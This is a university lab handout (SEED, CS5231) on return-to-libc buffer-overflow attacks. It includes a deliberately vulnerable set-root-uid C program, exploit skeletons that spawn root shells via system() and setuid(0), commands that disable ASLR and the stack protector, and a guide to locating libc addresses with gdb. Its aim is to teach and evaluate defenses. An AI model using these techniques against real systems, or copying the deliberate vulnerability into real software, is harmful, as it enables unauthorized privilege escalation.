CS5231 Project Assignment 1 1

CS5231 Project 1: Return-to-libc Attack

Copyright c 2006 - 2009 Wenliang Du, Syracuse University.
Copyright c 2010-2014 LIANG Zhenkai, National University of Singapore.
The development of this document is funded by the National Science Foundations Course, Curriculum, and
Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted
to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License,
Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can be
found at http://www.gnu.org/licenses/fdl.html.
Due date & time: Due at 23:59 on Feb 24, 2014. This is a rm deadline. Submission instruction and
grading criteria will be announced in IVLE.
Additional Information: You need to nish THREE tasks described in Section 2. For task 1 and task
2, submit the attack code and a brief explanation of the attack (with a gure of stack of the vulnerable
program). For task 3, do the experiment and answer the questions.
This project MUST be nished independently. NUSs plagiarism detection system will be used to mea-
sure similarities of a submission to other submissions and to public documents on the Internet.
1 Project Overview
The learning objective of this lab is for students to gain the rst-hand experience on an interesting variant of
buffer-overow attack; this attack can bypass an existing protection scheme currently implemented in major
Linux operating systems. A common way to exploit a buffer-overow vulnerability is to overow the buffer
with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode that is stored
in the stack. To prevent these types of attacks, some operating systems (for example Fedora) allow system
administrators to make stacks non-executable; therefore, jumping to the shellcode will cause the program to
fail.
Unfortunately, the above protection scheme is not fool-proof; there exists a variant of buffer-overow
attack called the return-to-libc attack, which does not need an executable stack; it does not even use
shell code. Instead, it causes the vulnerable program to jump to some existing code, such as the system()
function in the libc library, which is already loaded into the memory.
In this lab, students are given a program with a buffer-overow vulnerability; their task is to develop a
return-to-libc attack to exploit the vulnerability and nally to gain the root privilege. In addition to
the attacks, students will be guided to walk through several protection schemes that have been implemented
in Ubuntu to counter against the buffer-overow attacks. Students need to evaluate whether the schemes
work or not and explain why.
2 Lab Tasks
2.1 Lab Environment
You need to do the lab tasks using the 32-bit Ubuntu machine located at:
http://www.comp.nus.edu.sg/%7Eliangzk/cs5231/downloads/SEEDUbuntu9.tar.gz
(username: seed password: dees).
CS5231 Project Assignment 1 2
Ubuntu and several other Linux-based systems use address space randomization to randomize the
starting address of heap and stack. This makes guessing the exact addresses difcult; guessing addresses is
one of the critical steps of buffer-overow attacks. In this lab, we disable this feature using the following
command:
$ sudo -s
Password: (enter your password)
# sysctl -w kernel.randomize_va_space=0
# exit
The GCC compiler implements a security mechanism called Stack Guard to prevent buffer overows.
In the presence of this protection, buffer overow will not work. You can disable this protection when
you are comiling the program using the switch -fno-stack-protector. For example, to compile a program
example.c with Stack Guard disabled, you may use the following command:
$ sudo gcc -fno-stack-protector example.c
2.2 The Vulnerable Program
/
*
retlib.c
*
/
/
*
This program has a buffer overflow vulnerability.
*
/
/
*
Our task is to exploit this vulnerability
*
/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
unsigned int xormask = 0xBE;
int i, length;
int bof(FILE
*
badfile)
{
char buffer[12];
/
*
The following statement has a buffer overflow problem
*
/
length = fread(buffer, sizeof(char), 52, badfile);
/
*
XOR the buffer with a bit mask
*
/
for (i=0; i<length; i++) {
buffer[i] = xormask;
}
return 1;
}
int main(int argc, char
**
argv)
{
FILE
*
badfile;
badfile = fopen("badfile", "r");
CS5231 Project Assignment 1 3
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the
root account, and chmod the executable to 4755:
$ sudo -s
Password (enter your password)
# gcc -fno-stack-protector -o retlib retlib.c
# chmod 4755 retlib
# exit
The above program has a buffer overow vulnerability. It rst reads an input of size 52 bytes from
a le called badle into a buffer of size 12, causing the overow. The function fread() does not check
boundaries, so buffer overow will occur. Since this program is a set-root-uid program, if a normal user
can exploit this buffer overow vulnerability, the normal user might be able to get a root shell. It should be
noted that the program gets its input from a le called badle. This le is under users control. Now, our
objective is to create the contents for badle, such that when the vulnerable program copies the contents
into its buffer, a root shell can be spawned.
2.3 Task 1: Exploiting the Vulnerability 40 marks
Create the badle. You may use the following framework to create one.
/
*
exploit_1.c
*
/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char
**
argv)
{
char buf[52];
FILE
*
badfile;
memset(buf, 1, sizeof(buf));
badfile = fopen("./badfile", "w");
/
*
You need to decide the addresses and
the values for X, Y, Z. The order of the following
statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order.
*
/
*
(long
*
) &buf[X] = some address ; // address of "/bin/sh"
..... // string on stack
CS5231 Project Assignment 1 4
*
(long
*
) &buf[Y] = some address ; // system() call
*
(long
*
) &buf[Z] = some address ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
You need to gure out the values for those addresses, as well as to nd out where to store those addresses.
If you incorrectly calculate the locations, your attack might not work.
After you nish the above program, compile and run it; this will generate the contents for badle. Run
the vulnerable program retlib. If your exploit is implemented correctly, when the function bof returns, it
will return to the system()libc function, and execute system("/bin/sh"). If the vulnerable program
is running with the root privilege, you can get the root shell at this point.
It should be noted that the exit() function is not very necessary for this attack; however, without this
function, when system() returns, the program might crash, causing suspitions.
$ gcc -o exploit_1 exploit_1.c
$./exploit_1 // create the badfile
$./retlib // launch the attack by running the vulnerable program
# <---- Youve got a root shell!
2.4 Task 2: Protection in /bin/bash 40 marks
Now, we use the same attack developed in the previous task to run /bin/bash. Can you get a shell? Is
the shell the root shell? What has happened? It appears that there is some protection mechanism in bash
that makes the attack unsuccessful. Actually, bash automatically downgrade its privilege if it is executed
in Set-UID root context; this way, even if you can invoke bash, you will not gain the root privilege.
However, there are ways to get around this protection scheme. Although /bin/bash has restriction
on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the
current Set-UID process into a real root process, before invoking /bin/bash, you can bypass that
restriction of bash. The setuid(0) system call can help you achieve that. Therefore, you need to rst
invoke setuid(0), and then invoke system("/bin/bash"); all of these have to be done using the
return-to-libc mechanism. The incomplete exploit code is given in the following:
/
*
exploit_2.c
*
/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char
**
argv)
{
char buf[52];
FILE
*
badfile;
memset(buf, 1, sizeof(buf));
badfile = fopen("./badfile", "w");
CS5231 Project Assignment 1 5
/
*
You need to decide the addresses and
the values for W, X, Y, Z
*
/
/
*
You need to decide the addresses and
the values for W, X, Y, Z. The order of the following
statements does not imply the order of W, X, Y, Z.
*
/
*
(long
*
) &buf[W] = some address ; // system()
*
(long
*
) &buf[X] = some address ; // address of "/bin/bash"
... // string on stack
*
(long
*
) &buf[Y] = some address ; // setuid()
*
(long
*
) &buf[Z] = some value; // parameter for setuid
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
2.5 Task 3: Address Randomization and Stack Smash Protection 20 marks
Now, we turn on the Ubuntus address randomization and Stack Smash Protection. We run the same attack
developed in Task 1. Can you get a shell? If not, what is the problem? How does the address random-
ization and stack smash protection make your attacks difcult? You should describe your observation and
explanation in your lab report. You can use the following instructions to turn on the address randomization:
$ sudo -s
Password: (enter your password)
# /sbin/sysctl -w kernel.randomize_va_space=2
# exit
Compile the vulnerable program retlib.c as shown below:
$ sudo -s
Password (enter your password)
# gcc -o retlib retlib.c
# chmod 4755 retlib
# exit
3 Guidelines: Understanding the function call mechanism
3.1 Find out the addresses of libc functions
To nd out the address of any libc function, you can use the following gdb commands (a.out is an
arbitrary program):
$ gdb a.out
(gdb) b main
(gdb) r
CS5231 Project Assignment 1 6
(gdb) p system
$1 = {<text variable, no debug info>} 0x9b4550 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x9a9b70 <exit>
From the above gdb commands, we can nd out that the address for the system() function is
0x9b4550, and the address for the exit() function is 0x9a9b70. The actual addresses in your sys-
tem might be different from these numbers.
3.2 Understand the Stack
To know how to conduct the return-to-libc attack, it is essential to understand how the stack works.
We use a small C program to understand the effects of a function invocation on the stack.
/
*
foobar.c
*
/
#include<stdio.h>
void foo(int x)
{
printf("Hello world: %d\n", x);
}
int main()
{
foo(1);
return 0;
}
We can use "gcc -S foobar.c" to compile this program to the assembly code. The resulting le
foobar.s will look like the following:
......
8 foo:
9 pushl %ebp
10 movl %esp, %ebp
11 subl $8, %esp
12 movl 8(%ebp), %eax
13 movl %eax, 4(%esp)
14 movl $.LC0, (%esp) : string "Hello world: %d\n"
15 call printf
16 leave
17 ret
......
21 main:
22 leal 4(%esp), %ecx
23 andl $-16, %esp
24 pushl -4(%ecx)
25 pushl %ebp
26 movl %esp, %ebp
27 pushl %ecx
CS5231 Project Assignment 1 7
Figure 1: Entering and Leaving foo()
28 subl $4, %esp
29 movl $1, (%esp)
30 call foo
31 movl $0, %eax
32 addl $4, %esp
33 popl %ecx
34 popl %ebp
35 leal -4(%ecx), %esp
36 ret
3.3 Calling and Entering foo()
Let us concentrate on the stack while calling foo(). We can ignore the stack before that. Please note that
line numbers instead of instruction addresses are used in this explanation.
Line 28-29:: These two statements push the value 1, i.e. the argument to the foo(), into the stack.
This operation increments %esp by four. The stack after these two statements is depicted in Fig-
ure 1(a).
Line 30: call foo: The statement pushes the address of the next instruction that immediately
follows the call statement into the stack (i.e the return address), and then jumps to the code of
foo(). The current stack is depicted in Figure 1(b).
Line 9-10: The rst line of the function foo() pushes %ebp into the stack, to save the previous
frame pointer. The second line lets %ebp point to the current frame. The current stack is depicted in
CS5231 Project Assignment 1 8
Figure 1(c).
Line 11: subl $8, %esp: The stack pointer is modied to allocate space (8 bytes) for local
variables and the two arguments passed to printf. Since there is no local variable in function foo,
the 8 bytes are for arguments only. See Figure 1(d).
3.4 Leaving foo()
Now the control has passed to the function foo(). Let us see what happens to the stack when the function
returns.
Line 16: leave: This instruction implicitly performs two instructions (it was a macro in earlier x86
releases, but was made into an instruction later):
mov %ebp, %esp
pop %ebp
The rst statement release the stack space allocated for the function; the second statement recover the
previous frame pointer. The current stack is depicted in Figure 1(e).
Line 17: ret: This instruction simply pops the return address out of the stack, and then jump to the
return address. The current stack is depicted in Figure 1(f).
Line 32: addl $4, %esp: Further resotre the stack by releasing more memories allocated for
foo. As you can clearly see that the stack is now in exactly the same state as it was before entering
the function foo (i.e., before line 28).
References
[1] c0ntext Bypassing non-executable-stack during exploitation using return-to-libc
http://www.infosecwriters.com/text resources/pdf/return-to-libc.pdf
[2] Phrack by Nergal Advanced return-to-libc exploit(s) Phrack 49, Volume 0xb, Issue 0x3a. Available at
http://www.phrack.org/archives/58/p58-0x04